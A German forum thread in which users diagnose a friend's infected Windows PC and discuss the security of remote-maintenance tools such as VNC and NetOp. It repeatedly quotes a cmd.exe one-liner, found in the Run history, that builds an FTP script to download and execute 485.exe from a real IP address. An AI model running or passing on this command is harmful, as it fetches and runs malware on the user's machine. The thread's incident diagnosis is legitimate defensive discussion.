ein bekannter: "mein pc spinnt irgendwie"

[s]

auf die nachfrage ob er "spinnt irgendwie" genauer definieren kann meinte er das sich fenster öffnen/schließen und immer wieder was von selbst geschrieben wird...

unter ausführen fand sich dann folgendes

Code: Alles auswählen

cmd.exe /c del i&echo open 85.119.186.43 2876 > i&echo user 1 1 >> i &echo get 485.exe >> i &echo quit >> i &ftp -n -s:i &485.exe&del i&exit

[preiti]

auf die nachfrage ob er "spinnt irgendwie" genauer definieren kann meinte er das sich fenster öffnen/schließen und immer wieder was von selbst geschrieben wird...

unter ausführen fand sich dann folgendes

Code: Alles auswählen

cmd.exe /c del i&echo open 85.119.186.43 2876 > i&echo user 1 1 >> i &echo get 485.exe >> i &echo quit >> i &ftp -n -s:i &485.exe&del i&exit

Was sagt ein Virenscan zu dieser Datei?

[lordpeng]

also wenn ich mich händisch zum ftp 85.119.186.43 verbind und die datei 485.exe runterladen will kommt nix, dürft aber mit ziemlicher sicherheit nix gutartiges sein ...

[s]

mhm, war auch der meinungs das das kein freundschaftsbesuch war...

[jutta]

der ftp-server meldet sich mit

220 Reptile welcomes you..
Name (85.119.186.43:jutta): me
331 Password required
Password:
230 User logged in.
Remote system type is StnyFtpd.

und dazu findet google einiges ueber diverse trojaner
http://lists.grok.org.uk/pipermail/full ... 26816.html
http://lists.openwall.net/full-disclosure/2004/09/23/33
http://lists.grok.org.uk/pipermail/full ... 26816.html
http://www.korelogic.com/Resources/Tools/MISC_LIGHT.lib
http://www.nabble.com/New-Virus-Worm-t243748.html
http://www.fortinet.com/VirusEncycloped ... fid=115957

und noch ein ganzer haufen ...

[Air20]

auf die nachfrage ob er "spinnt irgendwie" genauer definieren kann meinte er das sich fenster öffnen/schließen und immer wieder was von selbst geschrieben wird...

unter ausführen fand sich dann folgendes

Code: Alles auswählen

cmd.exe /c del i&echo open 85.119.186.43 2876 > i&echo user 1 1 >> i &echo get 485.exe >> i &echo quit >> i &ftp -n -s:i &485.exe&del i&exit

genau dasselbe hatte ich schon mal...
bei mir war eine alte vnc version schuld,
die eine sicherheitslücke hat und anscheinend
durch sowas wie einen wurm ausgenutzt wurde...

[lordpeng]

>bei mir war eine alte vnc version schuld, die eine sicherheitslücke hat und anscheinend
das vnc nicht sonderlich sicher ist, is leider nix neues, drum verwend ich es schon lang nimmer für fernwartungszwecke

[Air20]

>bei mir war eine alte vnc version schuld, die eine sicherheitslücke hat und anscheinend
das vnc nicht sonderlich sicher ist, is leider nix neues, drum verwend ich es schon lang nimmer für fernwartungszwecke

ich verwends auch nicht...
aber der edv betreuer von demjenigen
dem der pc gehörte hat ihm den s*it installiert...
runter damit und gut ist es

[preiti]

>bei mir war eine alte vnc version schuld, die eine sicherheitslücke hat und anscheinend
das vnc nicht sonderlich sicher ist, is leider nix neues, drum verwend ich es schon lang nimmer für fernwartungszwecke

Es ist zwar praktisch, bereitet aber auch wie gesehen viele Probleme.

[lordpeng]

>Es ist zwar praktisch, bereitet aber auch wie gesehen viele Probleme.
unsere kunden werden nach und nach auf netop umgestellt, hat zwar auch ein paar macken, aber sicherheitsprobleme gibts da eher ned und von der performance isses wesentlich besser als pcanywhere und vnc ...

[Air20]

auf netop umgestellt, hat zwar auch ein paar macken

Kommunkationfehler = 5

[lordpeng]

>Kommunkationfehler = 5
nein, eher andere sachen ...

[preiti]

>Es ist zwar praktisch, bereitet aber auch wie gesehen viele Probleme.
unsere kunden werden nach und nach auf netop umgestellt, hat zwar auch ein paar macken, aber sicherheitsprobleme gibts da eher ned und von der performance isses wesentlich besser als pcanywhere und vnc ...

Ich glaube das liegt wie bei vielen anderen Dingen(Telnet,.......) daran, wann es entwickelt wurde. Da waren die Dinge die heute die heute Probleme bereiten einfach noch kein Problem.
Aktuellere Software, deren Entwicklung später begann, nimmt einfach schon Rücksicht auf diese Probleme.

[-slcp- dark]

Hier ist ein Artikel zu diesem Thema.

lg